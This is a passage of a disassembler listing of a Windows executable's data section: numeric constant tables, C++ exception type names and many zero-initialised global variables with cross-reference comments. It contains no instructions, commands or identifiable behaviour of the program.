		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43C1F0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_4220C1+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43C34C	dd offset off_424D00	; DATA XREF: ___:00424EDCo
					; ___:00424FC8o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43C364	dd offset off_424D00	; DATA XREF: ___:off_424D90o
					; ___:00424DD0o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43C384	dd offset off_424D00	; DATA XREF: ___:off_424DD8o
					; ___:00424E1Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
		dd offset off_424D00
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 8
off_43C3C8	dd offset off_424D00	; DATA XREF: ___:00424EACo
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42086E
		align 8
byte_43C3E8	db 0			; DATA XREF: sub_40144A+1D3w
					; sub_40144A+2D2o
		align 2
word_43C3EA	dw 0			; DATA XREF: sub_40144A+1E3w
word_43C3EC	dw 0			; DATA XREF: sub_40144A+1E9w
word_43C3EE	dw 0			; DATA XREF: sub_40144A+1F0w
byte_43C3F0	db 0			; DATA XREF: sub_40144A+1F7w
byte_43C3F1	db 0			; DATA XREF: sub_40144A+1FEw
word_43C3F2	dw 0			; DATA XREF: sub_40144A+204w
dword_43C3F4	dd 0			; DATA XREF: sub_40144A+234w
					; sub_40144A+250w
dword_43C3F8	dd 0			; DATA XREF: sub_40144A+258w
byte_43C3FC	db 0			; DATA XREF: sub_40144A+26Aw
byte_43C3FD	db 0			; DATA XREF: sub_40144A+27Dw
word_43C3FE	dw 0			; DATA XREF: sub_40144A+295w
word_43C400	dw 0			; DATA XREF: sub_40144A+2A4w
word_43C402	dw 0			; DATA XREF: sub_40144A+29Cw
dword_43C404	dd 101h	dup(0)		; DATA XREF: sub_40144A+2B9o
dword_43C808	dd 0			; DATA XREF: sub_4029E9+9Eo
byte_43C80C	db 0			; DATA XREF: sub_4029E9+36r
					; sub_402ACC+37r ...
		align 10h
dword_43C810	dd 0			; DATA XREF: sub_4030D1+10w
					; sub_4030E8+30r ...
		dd 2 dup(0)
dword_43C81C	dd 2 dup(0)		; DATA XREF: sub_403EBA+68o
dword_43C824	dd 0			; DATA XREF: sub_40395A+13o
					; sub_40EE72+610Bo ...
dword_43C828	dd 0			; DATA XREF: sub_404853+8w
					; ___:00404C22o
		align 10h
dword_43C830	dd 2 dup(0)		; DATA XREF: ___:00404B58o
dword_43C838	dd 0			; DATA XREF: sub_4059DB+2Aw
					; sub_4059DB+51r ...
dword_43C83C	dd 0			; DATA XREF: sub_4030E8+AEr
					; ___:004042D4r ...
		dd 2 dup(0)
dword_43C848	dd 0			; DATA XREF: sub_4071DB+18r
					; sub_40762E+92w ...
dword_43C84C	dd 0			; DATA XREF: sub_407767+4Dr
					; sub_40797F+D9w ...
		dd 3E6h	dup(0)
dword_43D7E8	dd 6 dup(0)		; DATA XREF: sub_407767+D2o
					; sub_407767+13Bo ...
dword_43D800	dd 0			; DATA XREF: sub_407252+82w
					; sub_407252+102o
dword_43D804	dd 41h dup(0)		; DATA XREF: sub_407252+41o
dword_43D908	dd 41h dup(0)		; DATA XREF: sub_407252+63o
dword_43DA0C	dd 0			; DATA XREF: sub_407252+F8w
					; sub_407252+114r
dword_43DA10	dd 0			; DATA XREF: sub_407252+52w
dword_43DA14	dd 0			; DATA XREF: sub_407252+4Dw
					; sub_407252+CFr
dword_43DA18	dd 20h dup(0)		; DATA XREF: sub_407252+9Ao
					; sub_407252+BAo
dword_43DA98	dd 0			; DATA XREF: sub_407252+8Fw
dword_43DA9C	dd 0			; DATA XREF: sub_407252+A7w
					; sub_407252+C7w
dword_43DAA0	dd 0			; DATA XREF: sub_407252:loc_40737Cr
		align 8
dword_43DAA8	dd 0			; DATA XREF: sub_407252+2D5w
					; sub_407252+32Eo
dword_43DAAC	dd 0A2h	dup(0)		; DATA XREF: sub_407252+2C3o
dword_43DD34	dd 41h dup(0)		; DATA XREF: sub_407252+28Do
dword_43DE38	dd 0			; DATA XREF: sub_407252+2BAw
					; sub_407252+2E1r
		align 10h
dword_43DE40	dd 0			; DATA XREF: sub_407252+324w
					; sub_407252+340r
dword_43DE44	dd 0			; DATA XREF: sub_407252+2E7w
dword_43DE48	dd 0			; DATA XREF: sub_407252+2F4w
dword_43DE4C	dd 0			; DATA XREF: sub_407252+2B4w
		dd 0
dword_43DE54	dd 0			; DATA XREF: sub_407252:loc_4075A8r
dword_43DE58	dd 0			; DATA XREF: sub_407252+1A1w
					; sub_407252+221o
dword_43DE5C	dd 41h dup(0)		; DATA XREF: sub_407252+163o
dword_43DF60	dd 41h dup(0)		; DATA XREF: sub_407252+182o
dword_43E064	dd 0			; DATA XREF: sub_407252+217w
					; sub_407252+233r
dword_43E068	dd 0			; DATA XREF: sub_407252+171w
dword_43E06C	dd 0			; DATA XREF: sub_407252+1EEr
dword_43E070	dd 20h dup(0)		; DATA XREF: sub_407252+1B9o
					; sub_407252+1D9o
dword_43E0F0	dd 0			; DATA XREF: sub_407252+1AEw
dword_43E0F4	dd 0			; DATA XREF: sub_407252+1C6w
					; sub_407252+1E6w
dword_43E0F8	dd 0			; DATA XREF: sub_407252:loc_40749Cr
		align 10h
dword_43E100	dd 0			; DATA XREF: sub_4087EE+Fr
					; sub_4089E7+12r
		align 8
dword_43E108	dd 80h dup(0)		; DATA XREF: sub_409706+41o
dword_43E308	dd 200h	dup(0)		; DATA XREF: sub_409037+C7o
					; sub_409392+DDo ...
dword_43EB08	dd 200h	dup(0)		; DATA XREF: sub_409037+D6o
					; sub_409392+F4o ...
dword_43F308	dd 0			; DATA XREF: sub_409037+86w
					; sub_409209+94r
dword_43F30C	dd 0			; DATA XREF: sub_409037+A7w
					; sub_40966F+55r ...
dword_43F310	dd 0			; DATA XREF: sub_409037+A0w
					; sub_409209+D6r ...
dword_43F314	dd 0			; DATA XREF: sub_409037+79w
					; sub_409209+35r ...
dword_43F318	dd 80h dup(0)		; DATA XREF: sub_40966F+5Eo
dword_43F518	dd 0			; DATA XREF: sub_409037+93w
					; sub_409209+A2r
		align 10h
dword_43F520	dd 0			; DATA XREF: sub_409037+E7o
					; sub_409037+103r ...
dword_43F524	dd 0			; DATA XREF: sub_409392+17Bw
					; sub_409539+107w
dword_43F528	dd 0			; DATA XREF: sub_409392+180w
					; sub_409539+10Dw ...
dword_43F52C	dd 0			; DATA XREF: sub_409392+159w
					; sub_40966F+4Fr
dword_43F530	dd 0			; DATA XREF: sub_4085B3+210r
					; sub_4085B3+21Ar ...
dword_43F534	dd 0			; DATA XREF: sub_40981F+65w
					; sub_415188+F5r
dword_43F538	dd 0			; DATA XREF: sub_40981F+7EDw
					; sub_40981F+862r ...
dword_43F53C	dd 0			; DATA XREF: sub_40981F+9BAw
					; sub_40981F+A18r ...
dword_43F540	dd 0			; DATA XREF: sub_40981F+96Cw
					; sub_40981F+9E8r ...
dword_43F544	dd 0			; DATA XREF: sub_4085B3+D1r
					; sub_40981F+46Fw ...
dword_43F548	dd 0			; DATA XREF: sub_4023A7+ECr
					; sub_4023A7+109r ...
dword_43F54C	dd 0			; DATA XREF: sub_40981F+9ADw
					; sub_40981F+A10r ...
dword_43F550	dd 0			; DATA XREF: sub_40981F+354w
					; sub_40981F+3A9r ...
dword_43F554	dd 0			; DATA XREF: sub_40981F+3F1w
					; sub_40B8D8+11Er
dword_43F558	dd 0			; DATA XREF: sub_40981F+361w
					; sub_40981F+3B1r ...
dword_43F55C	dd 0			; DATA XREF: sub_40981F+3A2w
					; sub_40DCE6+ADr
dword_43F560	dd 0			; DATA XREF: sub_405AF2+115r
					; sub_4084B3+7Dr ...
dword_43F564	dd 0			; DATA XREF: sub_40981F+72w
					; sub_40981F+D2r ...
dword_43F568	dd 0			; DATA XREF: sub_40981F+95Fw
					; sub_40981F+9DBr ...
dword_43F56C	dd 0			; DATA XREF: sub_40981F+388w
					; sub_40981F+3C9r ...
dword_43F570	dd 0			; DATA XREF: sub_40981F+83Bw
					; sub_40981F+88Er ...
dword_43F574	dd 0			; DATA XREF: sub_408C26+58r
					; sub_40981F+2A5w ...
dword_43F578	dd 0			; DATA XREF: sub_40981F+82Ew
					; sub_40981F+886r ...
dword_43F57C	dd 0			; DATA XREF: sub_40981F+B3w
dword_43F580	dd 0			; DATA XREF: sub_40981F+848w
					; sub_40981F+896r ...
dword_43F584	dd 0			; DATA XREF: sub_407BDE+7Er
					; sub_40981F+52Fw ...
dword_43F588	dd 0			; DATA XREF: sub_40981F+58w
					; sub_40981F+CAr ...
dword_43F58C	dd 0			; DATA XREF: sub_40981F+916w
					; sub_40AF86+11Ar
dword_43F590	dd 0			; DATA XREF: sub_40981F+A66w
					; sub_40981F+A6Dr ...
dword_43F594	dd 0			; DATA XREF: sub_40981F+A6w
					; sub_40981F+F2r
dword_43F598	dd 0			; DATA XREF: sub_4085B3+119r
					; sub_40981F+462w ...
dword_43F59C	dd 0			; DATA XREF: sub_4075E6+20r
					; sub_40981F+5D8w
dword_43F5A0	dd 0			; DATA XREF: sub_40981F+9A0w
					; sub_40981F+A08r
dword_43F5A4	dd 0			; DATA XREF: sub_402688+280r
					; sub_40981F+5CBw ...
dword_43F5A8	dd 0			; DATA XREF: sub_402ACC+9Ar
					; sub_40981F+B21w
dword_43F5AC	dd 0			; DATA XREF: sub_40981F+7E0w
					; sub_40981F+84Fr ...
dword_43F5B0	dd 0			; DATA XREF: sub_40981F+1B3w
					; sub_40AC20+15r
dword_43F5B4	dd 0			; DATA XREF: sub_40981F+979w
					; sub_40981F+9F0r ...
dword_43F5B8	dd 0			; DATA XREF: sub_40981F+36Ew
					; sub_40981F+3B9r ...
dword_43F5BC	dd 0			; DATA XREF: sub_40981F+37Bw
					; sub_40981F+3C1r ...
dword_43F5C0	dd 0			; DATA XREF: sub_4087EE+28r
					; sub_4089E7+2Br ...
dword_43F5C4	dd 0			; DATA XREF: sub_40981F+68Ew
					; ___:0041554Er
dword_43F5C8	dd 0			; DATA XREF: sub_4010B5:loc_4013E0r
					; sub_401A76:loc_401D1Cr ...
dword_43F5CC	dd 0			; DATA XREF: sub_4085B3+207r
					; sub_40981F+496w
dword_43F5D0	dd 0			; DATA XREF: sub_40981F+9C7w
					; sub_40981F+A20r ...
dword_43F5D4	dd 0			; DATA XREF: sub_40981F+2B2w
					; sub_40981F+2DEr ...
dword_43F5D8	dd 0			; DATA XREF: sub_40981F+7Fw
					; sub_40981F+DAr ...
dword_43F5DC	dd 0			; DATA XREF: sub_40981F+B6Ew
					; sub_40981F+B75r ...
dword_43F5E0	dd 0			; DATA XREF: sub_4010B5+2Fr
					; sub_401A76+2Fr ...
dword_43F5E4	dd 0			; DATA XREF: sub_40981F+807w
					; sub_40981F+872r ...
dword_43F5E8	dd 0			; DATA XREF: sub_40981F+986w
					; sub_40981F+9F8r
dword_43F5EC	dd 0			; DATA XREF: sub_40981F+BDFw
					; sub_40981F+C10r
dword_43F5F0	dd 0			; DATA XREF: sub_4023A7+40r
					; sub_4023A7+63r ...
dword_43F5F4	dd 0			; DATA XREF: sub_40981F+8FCw
					; sub_40981F+910r ...
dword_43F5F8	dd 0			; DATA XREF: sub_40981F+BF9w
dword_43F5FC	dd 0			; DATA XREF: sub_4010B5:loc_4013AAr
					; sub_40144A+3Cr ...
dword_43F600	dd 0			; DATA XREF: sub_40981F+821w
					; sub_40981F+855r
dword_43F604	dd 0			; DATA XREF: sub_4023A7+50r
					; sub_4023A7+78r ...
dword_43F608	dd 0			; DATA XREF: sub_4087EE+3Fr
					; sub_4087EE+69r ...
dword_43F60C	dd 0			; DATA XREF: sub_40981F+65Aw
					; sub_40981F+786r ...
dword_43F610	dd 0			; DATA XREF: sub_402DD7+20Ar
					; sub_4030E8+5Er ...
dword_43F614	dd 0			; DATA XREF: sub_402688+16Er
					; sub_40981F+549w ...
dword_43F618	dd 0			; DATA XREF: sub_40981F+8BDw
					; sub_40981F:loc_40A0FAw ...
dword_43F61C	dd 0			; DATA XREF: sub_40981F+28Bw
					; sub_40981F+2C6r ...
dword_43F620	dd 0			; DATA XREF: ___:00407DFEr
					; sub_40981F+681w ...
dword_43F624	dd 0			; DATA XREF: sub_40981F+30Fw
					; sub_40981F+323r ...
dword_43F628	dd 0			; DATA XREF: sub_40981F+395w
					; sub_40981F+3D1r ...
dword_43F62C	dd 0			; DATA XREF: sub_40981F+BD2w
					; sub_40981F+C08r
dword_43F630	dd 0			; DATA XREF: sub_40981F+7FAw
					; sub_40981F+86Ar ...
dword_43F634	dd 0			; DATA XREF: sub_4023A7+FCr
					; sub_40981F+206w ...
dword_43F638	dd 0			; DATA XREF: sub_40981F+18Cw
					; sub_40981F+1D2r ...
dword_43F63C	dd 0			; DATA XREF: sub_40981F+814w
					; sub_40981F+87Ar ...
dword_43F640	dd 0			; DATA XREF: sub_406C19+244r
					; sub_40981F+606w ...
dword_43F644	dd 0			; DATA XREF: sub_408C26+18Ar
					; sub_40981F+2BFw ...
dword_43F648	dd 0			; DATA XREF: sub_4010B5+6Fr
					; sub_40144A+AAr ...
dword_43F64C	dd 0			; DATA XREF: sub_40981F+302w
					; sub_40981F+316r ...
dword_43F650	dd 0			; DATA XREF: sub_405AF2+F9r
					; sub_406C19+1FCr ...
dword_43F654	dd 0			; DATA XREF: sub_4085B3+16r
					; sub_40981F+42Ew ...
dword_43F658	dd 0			; DATA XREF: sub_40981F+199w
					; sub_40981F+1DAr ...
dword_43F65C	dd 0			; DATA XREF: sub_40981F+347w
					; sub_40981F+39Cr ...
dword_43F660	dd 0			; DATA XREF: sub_40981F+A73w
dword_43F664	dd 0			; DATA XREF: sub_4010B5+EBr
					; sub_4010B5+1F9r ...
dword_43F668	dd 0			; DATA XREF: sub_4010B5+87r
					; sub_4010B5+9Dr ...
dword_43F66C	dd 0			; DATA XREF: sub_40981F+4Bw
					; sub_40981F+C2r ...
dword_43F670	dd 0			; DATA XREF: sub_4085B3+2Cr
					; sub_4085B3+38r ...
dword_43F674	dd 0			; DATA XREF: sub_40981F+165w
					; sub_40981F+1BAr ...
dword_43F678	dd 0			; DATA XREF: sub_40981F+9E1w
					; sub_40E5EB+72r
dword_43F67C	dd 0			; DATA XREF: sub_40981F+667w
					; sub_40981F+78Er
dword_43F680	dd 0			; DATA XREF: sub_402688+205r
					; sub_402DD7+23Br ...
dword_43F684	dd 0			; DATA XREF: sub_40981F+BECw
					; sub_40981F+C18r
dword_43F688	dd 0			; DATA XREF: sub_40981F+3Ew
					; sub_40981F+BAr ...
dword_43F68C	dd 0			; DATA XREF: sub_40981F+298w
					; sub_40981F+2CEr ...
dword_43F690	dd 0			; DATA XREF: sub_405AF2+9Er
					; sub_407BDE+9Cr ...
dword_43F694	dd 0			; DATA XREF: sub_402688+EBr
					; sub_405AF2+89r ...
dword_43F698	dd 0			; DATA XREF: sub_40981F+C63w
					; sub_40EE72+4624r
dword_43F69C	dd 0			; DATA XREF: sub_40981F+85Bw
					; sub_40BC4B+205r ...
dword_43F6A0	dd 0			; DATA XREF: sub_40981F+112w
dword_43F6A4	dd 0			; DATA XREF: sub_40981F+BB8w
					; sub_40981F+BF3r
dword_43F6A8	dd 0			; DATA XREF: sub_40144A+119r
					; sub_40144A+1A0r ...
dword_43F6AC	dd 0			; DATA XREF: sub_4085B3+BCr
					; sub_40981F+43Bw ...
dword_43F6B0	dd 0			; DATA XREF: sub_4085B3+FBr
					; sub_40981F+47Cw ...
dword_43F6B4	dd 0			; DATA XREF: sub_4085B3+65r
					; sub_40981F+448w ...
dword_43F6B8	dd 0			; DATA XREF: sub_402DD7+221r
					; sub_402DD7+249r ...
dword_43F6BC	dd 0			; DATA XREF: sub_40981F+1A6w
					; sub_40981F+1E2r ...
dword_43F6C0	dd 0			; DATA XREF: sub_40981F+9D4w
					; sub_40981F+A28r ...
dword_43F6C4	dd 0			; DATA XREF: sub_4087EE+53r
					; sub_4087EE+7Fr ...
dword_43F6C8	dd 0			; DATA XREF: sub_40981F+8Cw
					; sub_40981F+E2r ...
dword_43F6CC	dd 0			; DATA XREF: sub_4010B5+2C2r
					; sub_40144A+2DAr ...
dword_43F6D0	dd 0			; DATA XREF: sub_40981F+B14w
					; sub_40981F+B30r
dword_43F6D4	dd 0			; DATA XREF: sub_40981F+31Cw
					; sub_41511D+55r
dword_43F6D8	dd 0			; DATA XREF: sub_408C26+3Fr
					; sub_40981F+27Ew ...
dword_43F6DC	dd 0			; DATA XREF: sub_40981F+B7Bw
dword_43F6E0	dd 0			; DATA XREF: sub_40981F+ABDw
					; sub_40AE02+CEr
dword_43F6E4	dd 0			; DATA XREF: sub_40981F+AB0w
					; sub_40981F+AB7r ...
dword_43F6E8	dd 0			; DATA XREF: sub_40144A+2Er
					; sub_401D82+55r ...
dword_43F6EC	dd 0			; DATA XREF: ___:00407DEEr
					; sub_40981F+674w ...
dword_43F6F0	dd 0			; DATA XREF: sub_40981F+BC5w
					; sub_40981F+C00r
dword_43F6F4	dd 0			; DATA XREF: sub_402688+28Dr
					; sub_406C19+250r ...
dword_43F6F8	dd 0			; DATA XREF: sub_40981F+993w
					; sub_40981F+A00r ...
dword_43F6FC	dd 0			; DATA XREF: sub_405AF2+13Ar
					; sub_407BDE+B3r ...
dword_43F700	dd 0			; DATA XREF: sub_4010B5+324r
					; sub_40144A+2F0r ...
dword_43F704	dd 0			; DATA XREF: sub_405AF2+B7r
					; sub_405AF2+39Fr ...
dword_43F708	dd 0			; DATA XREF: sub_4029E9+B0r
					; sub_4029E9+C8r ...
dword_43F70C	dd 0			; DATA XREF: sub_4010B5+4Fr
					; sub_401A76+4Fr ...
dword_43F710	dd 0			; DATA XREF: sub_40981F+AFAw
					; sub_40981F+B1Br
dword_43F714	dd 0			; DATA XREF: sub_40981F+31w
					; sub_40981F+ADr ...
dword_43F718	dd 0			; DATA XREF: sub_4087EE+1ECr
					; sub_4089E7+232r ...
		align 10h
dword_43F720	dd 0			; DATA XREF: sub_40981F+909w
					; sub_40981F+91Dr ...
dword_43F724	dd 0			; DATA XREF: sub_40981F+99w
					; sub_40981F+EAr ...
dword_43F728	dd 0			; DATA XREF: sub_40981F:loc_40991Dw
					; sub_40981F+12Bw ...
dword_43F72C	dd 0			; DATA XREF: sub_40981F+126w
					; sub_40A4AC+1Cr
dword_43F730	dd 0			; DATA XREF: sub_40981F:loc_409A0Dw
					; sub_40981F:loc_409A74w ...
dword_43F734	dd 0			; DATA XREF: sub_40981F+250w
					; sub_40A4AC+50r
dword_43F738	dd 0			; DATA XREF: sub_40981F:loc_409B09w
					; sub_40981F:loc_409B4Ew ...
dword_43F73C	dd 0			; DATA XREF: sub_40981F+400w
					; sub_40A4AC+84r
dword_43F740	dd 0			; DATA XREF: sub_40981F:loc_409D05w
					; sub_40A4AC:loc_40A55Cr
dword_43F744	dd 0			; DATA XREF: sub_40981F+4E1w
					; sub_40A4AC+B8r
dword_43F748	dd 0			; DATA XREF: sub_40981F:loc_409FD6w
					; sub_40A4AC:loc_40A590r
dword_43F74C	dd 0			; DATA XREF: sub_40981F+7B2w
					; sub_40A4AC+ECr
dword_43F750	dd 0			; DATA XREF: sub_40981F:loc_40A0C1w
					; sub_40981F+8D1w ...
dword_43F754	dd 0			; DATA XREF: sub_40981F+8CCw
					; sub_40A4AC+120r
dword_43F758	dd 0			; DATA XREF: sub_40981F:loc_40A155w
					; sub_40A4AC:loc_40A5F8r ...
dword_43F75C	dd 0			; DATA XREF: sub_40981F+931w
					; sub_40A4AC+154r
dword_43F760	dd 0			; DATA XREF: sub_40981F:loc_40A260w
					; sub_40A4AC:loc_40A62Cr ...
dword_43F764	dd 0			; DATA XREF: sub_40981F+A3Cw
					; sub_40A4AC+188r
dword_43F768	dd 0			; DATA XREF: sub_40981F:loc_40A2AAw
					; sub_40A4AC:loc_40A660r
dword_43F76C	dd 0			; DATA XREF: sub_40981F+A86w
					; sub_40A4AC+1BCr
dword_43F770	dd 0			; DATA XREF: sub_40981F:loc_40A2F4w
					; sub_40A4AC:loc_40A694r
dword_43F774	dd 0			; DATA XREF: sub_40981F+AD0w
					; sub_40A4AC+1F0r
dword_43F778	dd 0			; DATA XREF: sub_40981F:loc_40A368w
					; sub_40A4AC:loc_40A6C8r
dword_43F77C	dd 0			; DATA XREF: sub_40981F+B44w
					; sub_40A4AC+224r
dword_43F780	dd 0			; DATA XREF: sub_40981F:loc_40A3B2w
					; sub_40A4AC:loc_40A6FCr
dword_43F784	dd 0			; DATA XREF: sub_40981F+B8Ew
					; sub_40A4AC+258r
dword_43F788	dd 0			; DATA XREF: sub_40981F:loc_40A450w
					; sub_40A4AC:loc_40A730r
dword_43F78C	dd 0			; DATA XREF: sub_40981F+C2Cw
					; sub_40A4AC+28Cr
dword_43F790	dd 0			; DATA XREF: sub_40981F:loc_40A49Aw
					; sub_40A4AC:loc_40A764r
dword_43F794	dd 0			; DATA XREF: sub_40981F+C76w
					; sub_40A4AC+2C0r
dword_43F798	dd 81h dup(0)		; DATA XREF: sub_40AA35+6Ao
dword_43F99C	dd 5 dup(0)		; DATA XREF: sub_40AEE0+32o
dword_43F9B0	dd 0			; DATA XREF: sub_40B328:loc_40B349r
					; sub_40B417+54r ...
dword_43F9B4	dd 0			; DATA XREF: sub_40B328r
					; sub_40B417+37r ...
dword_43F9B8	dd 0			; DATA XREF: sub_40B358+1Ar
					; sub_40B56C+83o
dword_43F9BC	dd 0			; DATA XREF: sub_40B328:loc_40B33Cr
					; sub_40B56C+11Bw
dword_43F9C0	dd 0Dh dup(0)		; DATA XREF: sub_40B417+13o
					; sub_40B56C:loc_40B6A9o
dword_43F9F4	dd 0			; DATA XREF: sub_40B417+CDr
					; sub_40B417+ECr ...
		dd 0
dword_43F9FC	dd 0Eh dup(0)		; DATA XREF: sub_40B721+47o
dword_43FA34	dd 1000h dup(0)		; DATA XREF: sub_40BF6D+1Do
					; sub_40C00Do ...
dword_443A34	dd 0			; DATA XREF: sub_40BF6D+13o
					; sub_40C00D+Eo ...
dword_443A38	dd 0Eh dup(0)		; DATA XREF: sub_40D01A+Fo
dword_443A70	dd 2 dup(0)		; DATA XREF: sub_40D3A5+C8o
dword_443A78	dd 17h dup(0)		; DATA XREF: sub_40D835:loc_40D952o
					; sub_40D835+131o ...
dword_443AD4	dd 80h dup(0)		; DATA XREF: sub_40E5EB+7Co
					; sub_40E5EB+A5o
dword_443CD4	dd 0			; DATA XREF: sub_40DBB0+45w
					; sub_40DBB0+4Dr ...
dword_443CD8	dd 17h dup(0)		; DATA XREF: sub_40E4B7:loc_40E5D9o
					; sub_40E4B7+12Do
dword_443D34	dd 80h dup(0)		; DATA XREF: sub_40DAF0+4Co
					; sub_40DAF0+7Eo ...
byte_443F34	db 0			; DATA XREF: sub_40DBB0+29r
					; sub_40DBB0+34w
		align 4
dword_443F38	dd 80h dup(0)		; DATA XREF: sub_40DE07+61o
					; sub_40DE07+89o ...
dword_444138	dd 82h dup(0)		; DATA XREF: sub_40D719:loc_40D751o
					; sub_40D719+5Bo
dword_444340	dd 0			; DATA XREF: sub_40BE75+Ao
					; sub_40BE75+44r ...
		dd 5 dup(0)
dword_444358	dd 0			; DATA XREF: sub_40BE75+60r
					; sub_40EE72+BD6r
		dd 2D9h	dup(0)
dword_444EC0	dd 0			; DATA XREF: sub_407767+A8r
					; sub_40BE75+2Do ...
		dd 7Fh dup(0)
dword_4450C0	dd 0			; DATA XREF: sub_416D5A+41w
					; sub_416E95+40w ...
dword_4450C4	dd 0			; DATA XREF: sub_4060D0+23Bw
					; sub_407767:loc_4077AEr ...
dword_4450C8	dd 0			; DATA XREF: sub_40B56C+164w
					; sub_41680E+AEw ...
dword_4450CC	dd 0			; DATA XREF: sub_402688+E0w
					; sub_405AF2+7Ew ...
dword_4450D0	dd 0			; DATA XREF: ___:00407E84w
					; ___:00407FA0r ...
dword_4450D4	dd 0			; DATA XREF: sub_4060D0+268w
					; sub_407252+122w ...
byte_4450D8	db 0			; DATA XREF: sub_40EB92+91o
					; sub_40EE72+3357r ...
		align 4
		dd 19Dh	dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:off_42A2D0o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:0042CCA8o
dword_450050	dd 0E700h dup(0)
dword_489C50	dd 0			; DATA XREF: sub_407110:loc_40717Er
					; ___:0040E6E3w ...
		align 8
dword_489C58	dd 0			; DATA XREF: ___:loc_40EAA4o
dword_489C5C	dd 20h dup(0)		; DATA XREF: ___:0040EA3Co
					; ___:0040EAF5o ...
dword_489CDC	dd 10h dup(0)		; DATA XREF: ___:0040EA53o
					; sub_40EE72+929o
dword_489D1C	dd 24h dup(0)		; DATA XREF: ___:0040EA6Ao
dword_489DAC	dd 0			; DATA XREF: ___:0040EA5Ew
					; ___:0040EB0Cw ...
dword_489DB0	dd 0			; DATA XREF: ___:0040EA7Dw
		align 10h
dword_489DC0	dd 0			; DATA XREF: sub_40EB92+72r
					; sub_40EE72+273r
		align 8
byte_489DC8	db 0			; DATA XREF: sub_40ECFA+28r
					; sub_40ECFA+30o
		align 4
dword_489DCC	dd 0			; DATA XREF: ___:0040EAA9w
					; ___:0040EAC0r ...
dword_489DD0	dd 0			; DATA XREF: ___:0040EA41w
					; sub_40EE72+8CAr
		dd 2 dup(0)
dword_489DDC	dd 0			; DATA XREF: ___:004155C4r
		dd 0
dword_489DE4	dd 1Bh dup(0)		; DATA XREF: sub_415D68+8Do
dword_489E50	dd 0			; DATA XREF: sub_416FA2+16o
					; sub_416FC1+19o
dword_489E54	dd 65h dup(0)		; DATA XREF: sub_416F55+3Do
byte_489FE8	db 0			; DATA XREF: sub_416C53+6Ar
					; sub_416C53+98w
		align 4
		dd 2 dup(0)
dword_489FF4	dd 0			; DATA XREF: sub_417D73+Aw
dword_489FF8	dd 0			; DATA XREF: sub_4186B1+5Er
					; sub_4186B1+A4w
		align 10h
word_48A000	dw 0			; DATA XREF: sub_4186B1+55r
					; sub_4186B1+9Ao
word_48A002	dw 0			; DATA XREF: sub_4186B1+48r
		db 2 dup(0)
word_48A006	dw 0			; DATA XREF: sub_4186B1+3Br
word_48A008	dw 0			; DATA XREF: sub_4186B1+2Er
word_48A00A	dw 0			; DATA XREF: sub_4186B1+21r
		align 10h
dword_48A010	dd 0			; DATA XREF: sub_418B6E+3Br
					; sub_418B6E+91w
dword_48A014	dd 0			; DATA XREF: sub_418833+1B9w
					; sub_418D0E:loc_418D8Aw ...
dword_48A018	dd 0			; DATA XREF: sub_4197F9+35w
					; sub_41A6B7:loc_41A751w ...
dword_48A01C	dd 0			; DATA XREF: sub_41FEC6+13Ar
		dd 0A28h, 501h,	5, 1
dword_48A030	dd 1			; DATA XREF: ___:loc_40E98Cr
					; ___:0041F2D1w
